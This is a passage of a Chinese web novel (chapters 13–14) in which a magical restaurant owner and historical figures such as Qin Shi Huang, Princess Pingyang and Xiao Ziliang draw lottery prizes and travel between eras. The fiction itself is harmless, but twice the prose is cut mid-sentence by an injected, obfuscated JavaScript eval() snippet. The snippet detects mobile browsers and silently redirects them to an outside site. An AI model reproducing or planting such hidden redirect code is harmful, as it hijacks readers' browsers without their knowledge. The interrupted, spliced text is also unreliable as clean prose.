“我觉得也不是不行”,李殷殷话锋一转,“以后只要是抽奖开出来的东西,都可以自由转让,但是得交一百万功德的手续费。” 平阳公主凑得更近了,挽住她手臂,什么也不说,只是笑盈盈地看着她。 李殷殷被看得满心无奈:“……这样吧,今天在场的所有人都不用交手续费了,平阳你也一样。” 平阳公主高兴极了,展臂一把将她抱住,拉着人,接连蹦跳了好几下:“谢谢店主,你真好!” 李殷殷:“......” 美人姐姐身上好香哦,靠近闻一闻这个味道,忽然觉得自己少赚一百万功德币也没什么。 万金买美人一笑,算起来还是她赚了(大雾) 萧子良也站到了她面前,双手合十,作祈求状:“啊,真的只能今天免费吗?” 兰陵萧氏这一代颜值最高的少年郎,束发簪兰,穆如清风,眼睛里落满了星辰,满怀期待地看过来。 李殷殷再次捂着心口,被安排得明明白白。 就离谱,一个个都长这么好看做什么! 她长叹了一声,挥挥手道:“这样吧,第一批来到食肆里的所有人,以后互相之间交易都不收费了,期限为永久。” 她特意强调:“你们别往外说啊,以后再来新人,我肯定要收手续费了!” 众人:呵呵,你猜我们信不信。 大家已经深刻意识到了李殷殷的颜控本质,但凡下一批新顾客里有个美人,店主看着她/他的脸,还能想起来要钱? 朱祁钰拿着卡片问:“公主打算出什么价格?” 平阳公主内心早有成算:“我现有的功德币全部归你,外加后世唐宫的珍宝若干,辎重若干,金银若干。” 她作为大唐开国功臣,功德庞大,如此条件不可谓不丰厚。 “不必”,朱祁钰却拒绝了,“你此去新朝风刀霜剑,险象环生,免不了时常来食肆求助,现有的功德币就先留着用吧。等你开国十年以后,再给朕回报吧。” 平阳公主微讶,景帝这是决定进行长期投资了。 乱世危机四伏,一切都说不准,打天下总有失败的可能。一旦失败,这笔投资就血本无归。 可是,她会失败么? 良久,平阳公主郑重起身,拱了拱手,目色坚毅地说:“多谢景帝信任。” “无妨”,朱祁钰还了一礼,微笑道,“朕很看好你。” 李殷殷擦了擦并不存在的眼泪,这是多么感人的饭友情啊! 宇文宪咳嗽一声,适时地提醒大家,自己耽搁太久,已经快死了……. 对不起,险些把他给忘了! 李殷殷赶紧招呼平阳公主过来:“方才始皇帝所做的步骤,你都看见了吧,就用同样的方法滴血认主。” 一滴平阳公主的血渗入他眉心,伴随着法术之光,飞速消融。 很快,从属关系建立之后,平阳公主面前就浮现出了一块面板。 上面记录着宇文宪身体的各类参数,一通暴改,将掉落的血值恢复正常水准,健康数值全部加加加,然后…… 就可以获得一个建康的大周......错了,是大唐战神啦! 宇文宪动了动手指,惊异地说:“好像也没什么感觉呢。” 认主条约唯一的限制就是他不能做任何不利于外孙女的事,当然,反过来也一样。 “如此甚好。” …… 前几次抽奖都抽出了好东西,饭友们将目光投向了萧子良。 萧子良衣袖低垂,手一伸,一粒圆滚滚的丸子腾云驾雾落在了掌心。 出现了,延寿丹! 13. 第 13 章 这是一颗三十年延寿丹,没有任何副作用,在所有续命产品中都属于相当出色的一种。 唯一的限制,就是只能给身具功德、利国利民的人使用,功劳越高越好,坏人一概不行。 李殷殷都有些惊讶:“云英殿下手开过光了吧,运气这么好?” 萧子良嘿嘿直笑:“承让,承让。” 嬴政一听这条件,简直是为自己量身定制的! 他想出钱买过来,结果还没开口,萧子良就语气委婉地否决说:“始皇帝,我明白你的意思,但这颗丹药我打算留给父皇,不会进行交易。” 武帝的寿命还剩几个月,续命之事迫在眉睫。 永明之治终结之后,就是许多年持续的烽火动乱,谁也不想看见那一幕。 嬴政并未放弃,微微挑眉:“代价好商量。” 论功德币,他绝对是全场、甚至食肆古往今来所有顾客中最阔绰的一个,充满了大户人家的壕气。 “你想要多少功德币,都可以任意开价。想杀萧鸾萧昭业,等以后跨位面传送门开了,朕也可以派人过去代劳。” “多少都不行”,萧子良摇头,无比坚定地拒绝了,“父皇是我在这世上唯一的亲人。试想,若是扶苏与我易地而处,有人要拿走他打算送给你的丹药,他也定然不会同意。” 嬴政呵了一声:“这倒是,谅他也不敢。” 萧子良嘴角抽了抽,大佬就是大佬,平平无奇的一句话仿佛饱含冷意。 他叹息道:“这粒真不卖,来日方长,以陛下的气运,总能抽中延寿之物,又何必急于这一时?” “行吧”,嬴政再怎样求长生,也不可能做出强行让人家父皇去死的事情,遂豁达地摆了摆手,“承你吉言了,瓜皮小子。” “……”萧子良诧异道,“你叫我什么?” “是「瓜皮」呢”,平阳公主作为长安人,瞬间心领神会,微笑道,“咸阳方言,形容一个少年人非常憨。” 萧子良:哼,不高兴了,他才不憨! 他向店主确认了一下:“我把延寿丹给我父皇,可以吗?” 李殷殷点点头:“这是你自己得到的奖品,你自由处理便好。” 给萧赜续命,当然是一件功德无量的事。 他作为一代治世明君,「永明之治」的含金量是很高的。 史称,“百姓无鸡鸣犬吠之警,都邑之盛,士女富逸,歌声舞节,袨服华妆,桃花绿水之间,秋月春风之下,盖以百数。” 南齐可不是一个小国家。 在萧赜手上的疆域面积,达到了278万平方千米,比北宋大多数时候的疆域(264万,收回燕云十六州后280万)都广阔许多。 对比北宋那群君王和官员们,整天上蹿下跳各种作妖,上书弹劾这个,吵架论战那个,不知闹出多少祸端。 再看萧赜,乾纲独断(这个词就来源于《南齐书》里他的事迹),镇静治国,出入皆安,“百姓无鸡鸣犬吠之警”…… 更兼永明一朝,文化璀璨,宗师辈出,诗歌流传千古。 就知道有多么不易了。 …… 接下来。 林逋抽中了一张四四方方的金属卡片,凝眉问:“这是什么道具卡?” “不,这不是道具卡。” 李殷殷惊叹,第一批顾客都是何等的欧皇,嬴政带了个好头,接着饭友们一路开奖下来,个个手气好到爆炸了。 “这是卡片式魔法手机,一种跨位面聊天工具,还自带游戏、观星,也可以录音、摄影、传输图片、发送红包……” 如果放在修真界,甚至可以连接星网,在万朝就算了。 林逋在她的指导下进行了滴血认主,虽然震撼于其中的各项神奇功能。 但是吧,只有一部卡片手机,好像也发挥不了太大作用? “这就是我要说的第二点”,李殷殷一抚掌,“你的卡片手机是母机,里面还包含了二十个子机——” 数量再多,就要高价额外购买了。 众人不等她说完,一拥而上,抓着林逋开始吵吵嚷嚷: “和靖先生心地善良好似世外仙,想必定愿意转让一个子机!” “朕愿意出高价购买两个,你随意开价!” “爹!我是你异父异母的亲儿子,且分我一个吧!” ……好像有什么奇怪的东西混进来了。 “好了”,林逋被众人吵得头大,往后退了一步,“一人一个,都有份啊。” 平阳公主试探着问:“不知这价格?” “不必客气”,林逋语气轻淡地说,“既相逢在此,亦是结一场善缘。” 他一向避世而居,光风霁月,尘埃不染襟怀,无论是世俗中的金银贵物,还是食肆中的名气值功德值货币,都于他无用,并无所求。 众人顿时为难。 免费的才是最贵的,林逋虽说无所求,但大家也不能真的什么都不表示吧。 只得进行场外求助:“店主仙人,你说……” 李殷殷踌躇了一会,这么说道:“既然和靖先生无意收费,我们权且将此事记下,日后再做补偿。” 饭友们:谢谢,真是听君一席话,如听一席话呢! 虽有说明书的指导,字体也已经自动转换成熟知的文字,但学习使用手机仍是一项大工程。 忙了好半天,饭友们才将各自号码都存储好,又和万朝食肆的会员卡进行绑定。 李殷殷帮宇文宪也办理了会员。 这也是一位有灭国战纪、功德值超高的大佬,属于必须争取的优质客户! 朱祁钰目光专注,一直盯着奖池,现在终于轮到他了。 趁他忙于抽奖,萧子良左顾右盼,见无人注意,拿起他手机偷偷操作,把自己的备注改成了【你那温柔可靠人美心善的好朋友英英】。 顺手咔嚓自拍一张,设置成头像。 哎嘿,本王真是美美哒! 李殷殷都不想告诉他,卡片手机都是联网的,他干了什么,自己这边全能看见。 朱祁钰递出抽奖专用的金色手掌,穿透重重历史帷幕,风声呼啸,似是时空在震荡回响。 某一个时刻,感觉应该可以了,便向下一伸。 然后发现,咦,好像有点沉,整个人都被踉踉跄跄拖得往前走了几步,赶忙道:“云英,快来搭把手!” “哦,来了来了”,萧子良立刻放下手机,飞奔了过去。 然后,险些被拽进帷幕那端的就变成了两个人。 李殷殷眼看不对,赶紧施展了一个漂浮法术,这才成功把奖品拿上来。 饭友们定睛一看,不觉愕然:“景帝,你从哪里抓了几十筐葡萄过来?” 朱祁钰茫然:“朕就是随手一抓,朕也不知道啊。” 怎么别人都是神异之物,到他这里就变成一堆葡萄了?! …… 魏文帝黄初位面。 曹丕今天心情很好,在漫长的等待之后,凉州进贡的葡萄终于抵达,可以开吃了! 毫无疑问,葡萄是世间最美味的东西。 用他自己的话说,就是“甘而不饴,酸而不脆,冷而不寒”,并且还“味长汁多,除烦解渴”。 这谁遭得住啊! 天下群果,唯有葡萄是当之无愧的第一! 曹丕早已把几十筐葡萄的去处安排得明明白白,有的打算直接吃,有的打算请群臣一起品尝,还有的,要拿来酿酒。 下朝后,他怀着虔诚的心情回到宫殿,叫人把葡萄们都抬进来。 应该先吃哪一筐好呢? 还没等想明白,只听轰隆一声巨响,半空裂开了一道缝,赫然有一只金色巨手从中伸出,一股脑提起了所有的葡萄,飞速上升,又退入了裂缝中。 曹丕:!!! 他铮然一下拔出剑,厉声道:“谁在装神弄鬼!” 别的事都好商量,抢他的葡萄真不能忍! 锐利的剑芒倏然划过长空,凌厉斩下。 然而,就在下一刻,猝不及防间,消失的葡萄们又重新出现了原地,仅仅只少了一筐。 上方,传来一道清朗温和的少女声音:“拿贵府葡萄一用,我们吃不了那么多,一筐足矣,余下便都送回来了。期待早日与君在万朝食肆相见。” 一张成为顾客的邀请函缓缓飘落,悬浮在身前。 上面写着: 【世祖文皇殷鉴:俯仰千秋,斯人谁谓?彼苍尘隙,何地烟霞。唯君意永,特邀来万朝食肆一会。食肆之主、造化门首席李殷殷。】 一股关于万朝食肆的信息传入脑海中,曹丕面露惊讶之色,似是没想到天地间还有如此神奇之地,复又喃喃道: “世祖文皇帝……若真如神仙所言,这就是朕的庙号吗?” 曹丕正想着,等安排好诸事之后,就去食肆看看。 结果,空气中升起了一股葡萄的甜香,他转头一看,顿时面露惊色。 方才那一剑太猛,已经把不少葡萄切碎,只能赶紧从筐里抢救出来,做成葡萄酒了。 真是作孽啊! …… 朱祁钰和自己的奖品葡萄对视了一会,心情复杂。 “往好处想想”,李殷殷安慰他道,“有这么多葡萄在,今晚的宵夜至少不愁了。” 她方才特意给曹丕送了大部分回去,还真怕曹丕因为一年的葡萄全没了,直接气出问题来…… 朱祁钰眨眨眼,忽然问:“店主对魏文帝这么客气,想必他长得很好看了?” 李殷殷扶额:“倒也不用这么直白哈。” 见朱祁钰一脸「真的吗,我不信」,她无奈地举起手,又补了一句:“行吧,我用法力大致看了一眼,文帝确实是「才秀藻朗,如玉之莹」,也是「翩翩我公子,机巧忽若神」。” 朱祁钰:听听,朕方才说什么来着! 他有些好奇地问:“店主是如何选顾客的?嗯,除了看脸之外……” 饭友们都竖起耳朵,他们也好奇很久了。 在座干什么的都有,似乎并无统一标准。 李殷殷沉吟道:“一共三百个名额,理论上来说,只要是功德值足够的正面人物,都可能受到邀请。” 她毕竟要赚功德飞升,挣钱嘛,不寒碜。 “——但我确实更倾向于选择这三类人,一是功勋卓著、功盖千秋者,二是人生有大遗憾亟待挽回者。至于第三类嘛,纯粹就是我喜欢的,独一无二,风采出众,让我特别想见她/他一面。” 第一类比如嬴政,第二类比如朱祁钰、萧子良、平阳公主,第三类比如林逋。 至于小幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787582|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崽? 他是个free-rider,属于蹭票上车,不在此类。 曹丕的话,本来就在拟邀请的名单上,三类大约都沾点边,但沾得都不多…… 葡萄散发着诱人的甜香,众人顿时将目光投向了林逋,灼灼有神,等待大佬投喂夜宵。 林逋揉了揉眉心,各位,你们是真的一点都不客气啊。 “说吧”,他无奈地站起身,向厨房的方向走去,“都想吃什么?” 饭友们吵吵嚷嚷:“和靖先生,我要喝冰糖葡萄汁!” “我想要酥蜜香糖葡萄软糕,再配乳酪葡萄饮!” “做一些甘甜的葡萄干蜜饯可以吗?” “朕很好奇,你们杭州菜中有涉及到葡萄的菜肴么?” “小钰今日第六次提到杭州了,再记一笔——” “喂!” …… 一个时辰后,所有人都吃上了来自林逋的投喂。 冰糖葡萄汁,汁水清透晶莹,紫红色静静流动在琉璃杯盏中轻轻晃荡,折射出一片清光,好似一件精美的艺术品。 品尝起来更是寒冽沁甜,轻呷一口,霜寒的气息直入心底。 酥蜜香糖葡萄软糕,雪白软嫩,香气扑鼻,粒粒葡萄干点缀在蓬松的糕团中,好似散落在湖心的小船。 上来的时候还热乎着,一口咬破,就有葡萄流心,裹挟着香糖的甜味与面糕的柔软,仿佛永远也吃不腻。 林逋甚至还在小金的法术辅助下,做了一些葡萄干蜜饯,分装进小袋子,十分便于携带。 对此,众人吃饱喝足,纷纷表示:休言世上无真仙,林和靖就是永远滴神! 但令大家感到头疼的是,欠林逋的人情真是越欠越多了。 先前拿了人家的手机,如今又吃人家的夜宵,仿佛永远也还不完。 李殷殷有了一个主意:“既然如此,我们可以组织一场跨位面旅行。” 她目光望向系统面板,那里跳出一条消息: 【恭喜尊贵的万朝食肆之主、造化门首席李殷殷,圆满完成开业第一日,收获功德值5000000】 【现升级至lv5,解锁功能:传送门】 【备注:初级传送门,可以连接顾客们所在的位面和万朝食肆,每名顾客可携带一人。】 真是令人振奋,有了这传送门,下回顾客过来,总算不必再进行瞬移了。 所有人都眼前一亮,跨位面之旅! 而且还可以带一个人! 传送门和之前朱祁钰获得的「传送卡」有所区别,传送卡是一次性的,可以携带大量物资和一万以下的人马。 但传送门只能由食肆的顾客使用,且最多携带一人。 说起旅游,嬴政想找回去找扶苏,平阳公主打算带上宇文宪,萧子良要和父皇一道。 只有林逋表示:“我与仙鹤俱在此处,无需再加人。” 萧子良有点茫然:“仙鹤不占用名额吗?” 李殷殷转头瞥了一眼仙鹤:“嗯,这个就不用了,仙鹤毕竟是和靖先生自己养的,是他的所属之物......” 话音未落,嬴政已经打开了新思路:“那朕是不是也可以带上大秦百官,再带一支军队?” 他们虽然看起来是一大群人,但实际上......嗯,硬要扯的话,都是他这位大秦之主的所属之物。 这波直接来个跨位面团建,妥妥的! 李殷殷扶额,一字一句道:“这个不行,不可以钻空子的。” 嬴政支起双手,神色诚恳:“真的不能再商量一下吗?” 李殷殷叹息,这都叫什么事啊:“真的不能啊始皇帝,低级传送门一次过不了这么多人。” 嬴政想了想,转眸看见平阳公主,顿时又形成了一种全新的思路:“让阴嫚来当面说也不行?” 在这件事上,李殷殷表现得格外有原则。 没办法,谁让技术条件不支持,就算漂亮小姐姐本人过来,她也是绝对不会放水的。 所以,她态度很坚决地说:“真不行,大秦整个朝廷人太多了,我才五级,根本做不到。如果嬴阴嫚自己想参加,我倒是可以开一条口子,把她传送过去。” 行吧,嬴政勉强接受了这个方案,有总比没有好。 李殷殷又告诉林逋:“现在多出一个名额,你可以把它转让出去。” “我要我要!”萧子良立即高声说,“我正好回去邀请沈郎!” 沈郎就是南齐大文豪沈约,字休文,也是他最亲密的好友。 朱祁钰伸手戳了戳他,不失时机地八卦了一句:“你只邀请沈约,那——谢脁王融萧衍范云江淹,还有那一大群竟陵王府的朋友怎么办?” 萧子良一脸理直气壮:“只要我不说,谁知道我带着休文出走了?” 朱祁钰对此表示高度怀疑:真的吗,他不信萧云英不翻车。 “云英可得小心”,李殷殷的目光透过时间长河,已经看到了即将发生的未来,笑着摇摇头。 萧子良:啊这,忽然有点方! 李殷殷敲了敲桌子,高声道:“跨位面旅行的目的地,仅限在已经联通的位面中选择,现在大家决定一下,我们去——” 朱祁钰:“西湖小孤山!” 除了他以外的所有人:“大明景泰朝!” 14. 第 14 章 饭友们都觉得,既然要跨位面旅行,就应该选择一个年代最晚也最发达的时空去看看。 虽然,林逋所在的北宋年间经济也挺繁荣。 但是吧,西湖千古如斯,始终都是这副好山好水的模样,大家不是很想跟他一起去那里隐居远离尘世,吃糠咽菜。 所以还是选景泰朝吧。 至于朱祁钰为什么想去西湖? 咳咳,原因众所周知…… 李殷殷没有特别的倾向,人间界的每一个时空她都没去过,到哪里玩都新鲜。 但见顾客们都想去大明,她自然要站出来帮忙说话。 “景帝,你就答应吧,不用担心,我们这么多人就算每人踩一脚,也能帮你把朱祁镇和孙太后踩成肉饼。” “把他剁碎!”萧子良义愤填膺地说。 “砍了喂狗!”平阳公主捏紧了拳头。 “送去跟胡亥萧鸾作伴,整整齐齐一起上路”,嬴政神情平淡中自有威严,把人安排得明明白白。 “陛下”,小幼崽拽了拽他的衣袖,悄声说,“咱们是为了偿还林和靖先生的人情,才组织了这次旅行。倘若去西湖小孤山,先生还得张罗招待我们,人情反倒越欠越多了。” 朱祁钰恍然大悟,好像是哦。 话都说到了这份上,他自是欣然同意,轻笑道:“朕回去稍作准备,扫径迎客,十日后在紫禁城恭候各位到来。” “确实要准备”,众人皆表示。 虽然在食肆中,时间流动是静止的,但去了景泰朝之后可不是,他们得提前把各项事务安排好。 别的不说,嬴政的团队还站在泰山上封禅,总不能一直站那里干等吧。 还有平阳公主,旅行完就搬迁去新朝了,要做的事很多。 李殷殷问了一句:“公主可曾想好去哪一个唐?” 平阳公主正色道:“我正要请教店主仙人。” 李殷殷沉吟了一会,一拂袖,半空中随即浮现出了三张地图。 第一张虽然是全须全尾的山河,地盘广大,却烽火四起,地图上少说也有几十个不同起义军节度使的旗帜,乱糟糟纷争不休; 第二张只有北方半壁,范围稍小,但帝王刚刚扫平北方,战乱暂时被压制住,没有大的动荡; 第三张就更小了,仅有江南一隅,观之文气璀璨,墨华氤氲。 “这三张地图,都可以算作唐末。” “一是唐昭宗时期,社稷崩塌,义军四起,黄巢肆虐各处,朱温篡位在即。” “二是后唐庄宗李存勖,是一位神明武略的军事天才,镇压北方,兴复国号,但最终因不擅长内政搞出内乱,死于兴教门之乱。” “三是南唐中主李璟,这位去了帝号,自称江南国主。” 平阳公主端详半晌,并不能从地图上看出什么门道来,遂虚心请教道:“店主建议我去哪一朝?” “昭宗朝”,李殷殷语气果决地说。 这既是最好的选择,从某种意义上来说,也是唯一的选择。 三人里面,只有唐昭宗是正儿八经的唐室后裔。 李存勖是计入宗室谱的沙陀人。 李璟他爹李昪虽然自称是唐宪宗五世孙,但鉴于五代人几乎都有到处认爹的黑历史,这个「自称」的可信度,要大大打个问号。 石敬瑭和石勒的种族都不一样,一个沙陀,一个羯人,还敢冒认人家的嫡系后裔呢,何况李昪? 而且吧。 平阳公主只能携带三万人,肯定无法直接硬撼一国军力,必须精打细算,用在刀刃上。 昭宗时代,可操作的空间最大。 李晔一生悲情,励精图治妄想复兴大唐,无奈能力不足,兵力也不足,只能受制于朱温。 如今,有一位强有力的新主取代他的位置,对他、对大家都好。 若到庄宗朝,李存勖肯定不会甘心让位。他作为名垂青史的战神君主,手下又有一支百战铁军,能不能打过他还是两说。就算侥幸能赢,也会伤亡惨重。 若到南唐中主时期,就得对上气吞万里的周世宗柴荣。 李璟也能算中上游的君王了,青年时,也曾雄心壮志,挥师灭闽,后来面对柴荣却节节败退,迁都逃命,淮南之地尽失,这局面很难办啊。 至于更难办的李煜时代,李殷殷直接提都没提。 这事还是等日后李煜本人来了食肆,让他自己去头疼吧。 平阳公主听了分析,深以为然,初步定了计划:“那就去昭宗朝。” 李殷殷微微一笑:“愿殿下旗开得胜,扶摇青云,此去登金阕。” …… 众人各自穿过传送门回家。 小李东阳暂时留在万朝食肆,准备对照图纸,给玩具小熊做一套新的机甲。 林逋孑然一身,没什么行囊要收拾,也没离开,去了藏书室翻看孤本珍籍。 萧子良回归南齐。 不料,刚走过时空通道,迈出去没两步,忽听得后方传来一道茫然的声音:“云英,朕为何在此处?” 萧子良震惊回头,与朱祁钰面面相觑良久:“这个......可能是我们当时站得太近,传送门开错了吧。” 不管了,来都来了,他决定邀请好友上门做客:“走,我带你去皇宫,然后再去竟陵西邸。” 朱祁钰本想早点回家,终究拗不过他一声声的「来嘛,你就来嘛」,勉强松了口:“好吧,那就停留一两日。” 芜湖,萧子良眉开眼笑,他有好多好吃的好玩的要和小钰分享! 紧接着,忽然意识到一个大问题。 父皇本就因为太子逝世,伤心欲绝,白发人送黑发人,几次哭昏过去,险些把自己也一波送走。 现在就剩他一个亲人,更是保护过度,看得跟眼珠子似的。 他仅仅咳嗽一声,都得嘘寒问暖,紧张好半天,又是喊太医会诊又是让僧人祈福的,主打一个折腾。 如果不配合,父皇玻璃心发作,真的会跟他闹起来。 萧子良可不想新交的好朋友被这阵势吓到,于是,特意提前打了预防针:“我父皇最近短短数月内,连续失去了多位至亲,国葬都举办了好几场,性情有点极端,你多担待。” 又道:“当然,小钰也不必太过紧张,你毕竟是我的好朋友……” 又不是我本人。 父皇最多爱屋及乌,关心问候一番,其他不会拿你怎么样的。 “懂了懂了”,朱祁钰却不知想到了什么地方去,恍然大悟,并给了他一个心照不宣的眼神,“我一定多加注意。” 这个剧情他熟! 本朝太.祖晚年的时候,也曾连续痛失太子、皇后、爱孙,伤心欲绝,深受打击。 以至于大开杀戒,株连无数! 萧赜既然谥号“武帝”,早年又以武立业,金戈铁马起家,想必也是一位性情凌厉,杀伐果断之辈。 现在的南齐朝廷,大概已经血流成河了吧…… 朱祁钰信誓旦旦地说:“你放心,本朝太.祖就有过先例,我早就有所了解。” 萧子良点点头,前方通道尽处,隐隐冒出一线光,他伸手拽了拽朱祁钰的衣袖:“走吧。” 朱祁钰被这么一拽,陡然反应过来。 啊这,自己好像还穿着龙袍吧? 会不会被暴怒的齐武帝直接抓起来打入天牢啊? 很快就发现,想多了,实在是想多了。 当他和萧子良一起同框的时候,齐武帝眼里只有自己的孩子,根本没注意到他这号人。 穿过传送门回来,还在原先出发的地点,太子萧长懋的灵堂。 只不过,萧子良之前因为给哥哥守灵太久,被齐武帝强行赶去睡觉,这一波投放,却落到了…… 殿顶正上方。 他缓慢眨了眨眼:“阿耶。” 萧赜念了大半个时辰的睡前经书,终于把孩子哄睡了,准备离开。 结果回头一看,萧子良不知什么时候竟然爬到横梁上去了。 “……” 饶是老父亲滤镜一贯深厚,也忍不住无语了片刻。 这是闹的哪一出啊。 南齐宫廷沿用的建筑,还是刘宋孝武时所建,几座主殿都修得很高,就算是寝殿偏室,上方离地也有足足好几米。 他赶紧疾步走过来,张开手臂,柔声道:“英英,你爬那么高做什么?快下来,父皇接住你。” 萧子良听得鼻尖一酸,想起自己小时候,贪玩爬庭院里的大榕树,困在高处,怎么都下不去,害怕得哇哇大哭,任谁来劝都没有用。 还是到了晚上,萧赜从军营归来,在树下哄了他好半天,终于劝得他纵身一跃,稳稳接住了他。 如今,经年光阴轮转,浮尘似一箭。 眼前父皇的身影,也仿佛和当年英姿焕发的青年将军重合了。 他眼一闭,直接跳了下去。 萧赜把人接住,正要斥责两句,忽见萧子良抹了抹眼睛,抱着他的腰就开始掉眼泪:“阿耶,我去了一个神奇的地方,叫做万朝食肆……” 他含着泪,断断续续地说着人生剧本上看到的一切。 说父皇驾崩,永明之治落幕;说太孙登基,霍乱家国;说萧鸾篡位,屠杀满门;也说自己的英年早逝,朋友们的惨死,江山社稷的分崩离析。 很多很多。 一开始,只是小声抽噎。 被父皇哄了两句,心中的满腔委屈就再也压抑不住,大声嚎淘道:“萧昭业他怎么能这样对我,我何尝对不起他!还有玄度……萧鸾…..我错了,我真的错了,我早该杀了他的!” 萧赜伸出手,一下一下抚摸着他的背脊,眸中漾满了疼惜之色,很快又化为了一片冰寒。 这是他的英英啊,他带在身边,一点一滴亲自养大的孩子。 生来就是天之骄子,本该一生身居青云,骄傲自由,却在他看不见的地方受尽了苦难。 必须有人为此付出代价。 “别怕”,他低声说,“这些事都交给朕,朕还活着,没人能欺负你。” 萧子良点了点头,对他是全心全意的信任:“好呀。” 他想到什么,赶紧从衣袖中摸出延寿丹:“阿耶快吃,这是我得到的礼物,可以延长三十年寿命呢!” 萧赜接过丹药丸子,第一反应却是:“英英可曾吃过了?你我各分一半,各得十五年。” 听到这话,萧子良感动极了,又有点想哭,飞快地抬起衣袖在眼前擦了擦:“没关系的呀,我不需要。” 他小声说:“我早死,是因为阿耶你走了,心里难过,萧昭业又不断逼迫我,所以才郁郁而终。只要你一直活着,我也能活得好好的。” 萧赜面露不赞同之色,捏捏他的脸:“总是吃了更保险,怎么能拿自己的性命去赌呢。” 萧子良使劲摇头,态度很坚决:“不好不好,阿耶你一个人吃。” 萧赜一顿,决定打感情牌,抚着他的背,缓缓说:“英英听话,朕这么多年宵衣旰食,处理政务到中夜不曾合眼,不都是为了富国强兵,能更好地保护你和白泽么?如今白泽已去,你若再不珍重自身,一朝长离,让朕如何是好?” “阿耶……” 他语气很温和,萧子良却头越垂越低,小声说:“我错了。” 萧赜把心爱的小儿子抱在怀中,拿着帕子,擦去他脸上的泪痕,温声道:“英英,你是阿耶的宝贝,是这世上最重要之人,一定好好保护自己。山河列土,神佛名箴,都没有你重要,知道了么?” 萧子良感动地点点头:“知道了!” 他超骄傲的:他本来就是父皇的宝贝呢! “你呀”,萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795206|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赜也笑了,拔出佩刀,将延寿丹从中剖分,一人服了一半。 萧子良定睛看去,见他鬓角白发复又转黑,面目亦恢复了青年时,不由高高兴兴地说:“我知道,父皇年轻时征战沙场,就是现在这个样子!” 萧赜被他逗笑了,目光上移,凝视着宫殿顶处,忽然冷冷道:“谁在那里?放箭!” “阿耶等等!” 萧子良大惊,陡然想起小钰是跟自己一起过来的,“那是我好友!” 朱祁钰忍不住叹气,感情云英还记得他啊。 他在房梁上坐了许久,人生中从未经历过如此尴尬的瞬间。 萧子良忙着和父皇撒娇,倾诉衷肠,整一个旁若无人,他下去也不是,不下去也不是。 而且,这里太高,根本下不去。 他正面露为难之色,萧赜手一挥,立即作了安排:“孩子你莫怕。” 宫人迅速架好了梯子,绑上绳索。 朱祁钰就算不敢下来,也不能留在上面过年,只好将心一横,系起衣裾,顺着往下爬了几步。 梯子在半空中晃晃荡荡,仿佛摇摇欲坠,就在爬到一大半的时候,忽然脚一滑…… “小心”,萧赜立在下方,早有准备,第一时间就稳稳地扶住了他。 萧子良神采飞扬地说:“阿耶,这是我新交的好朋友小钰,他可厉害了,是后世的皇帝,主持过一场力挽狂澜的护国战争呢!对了,他还有一个出生在杭州的心腹之臣——” “咳咳”,朱祁钰不得不咳嗽一声,打断萧子良接下来的话。 萧赜微笑:“小钰是吗,欢迎你来到齐宫。” 朱祁钰回过神来,拍拍身上的尘土:“多谢……” 他斟酌了一下,选了一个自认为比较合适的称呼,“多谢世伯。” “好,好”,萧赜一怔,眸中有惊讶之情一闪而过,神色变得无比温和,“你们两个孩子先聊,朕去叫人准备宴席。” 宫里都在为太子守灵,什么热菜也没有,贵客上门,自然不能失礼。 朱祁钰忙让他不要客气:“不必了世伯,我们已经在食肆吃过了。” 萧赜还是让人送来了茶水与糕点,随后,三人坐在偏殿中闲聊。 他笑道:“英英这孩子从小被朕惯坏了,性情骄纵,任性妄为,还望你多担待。” “阿耶!” 怎么能当面揭人短处,萧子良当场炸毛,转头就在武帝身上锤了一下:“你太过分了!” 朱祁钰看了一眼他张牙舞爪的模样,不由微感好笑,旋即正色道:“世上多虚伪之徒,令人厌憎,我倒觉得云英这样真的很好,心性如纯金璞玉,直来直去,相处起来很愉快。” 萧赜顿觉,儿子新交的这个朋友真是有眼光。 他万分赞同地说:“是啊,英英一向是最好的,只有那些目光短浅的愚昧之人,才会觉得他有哪里不好呢。” 朱祁钰:所以,世伯你先前只是故作谦虚一下对吗。 萧子良陡然想起一事,好奇地问:“小钰,你之前说过,你们大明太祖也中年丧子,也是和我父皇相似的作风吗?” 朱祁钰:? 他回忆了一下,萧家父子私下是如何相处的。 武帝简直把哄孩子发挥到了极致,一口一个宝贝,还要剖丸子分寿命。 此前为了不让孩子出去就藩,更是强留在宫中一年又一年,最后,干脆挑了个离家车程不到半个时辰的鸡笼山西邸,给萧子良开府。 和“不见奴表,耶耶忌欲恒死”的唐太宗,可以并称为最会哄孩子的二位亲爹。 至于太祖…… 不,朱祁钰戴上了痛苦面具,太祖他真的不这样!!!! …… 大唐武德位面。 平阳公主带着宇文宪回归长安,这里也曾是北周都城,如今故地重游,满怀感慨。 “舅姥爷,新宫阙还没来得及营建,那里有一排是北周故苑,我们可以去看看。” 二人沿着驰道骑马,观赏风景。 本来一切都好好的,谁知,一路仪仗队忽然耀武扬威地行使出来,浩浩荡荡,铺满了整条街。 “齐王出行,闲杂人等避让!” 平阳公主和宇文宪自然不加理会。 不料,李元吉透过轿帘,看见他姐和一个陌生男子在一起,形容亲近,顿时像是抓到把柄一样,激动地跳了起来。 他对平阳公主记恨已久了,平阳越是纵横沙场、光芒万丈,越衬托出他弃城而走、败绩连连的无能。 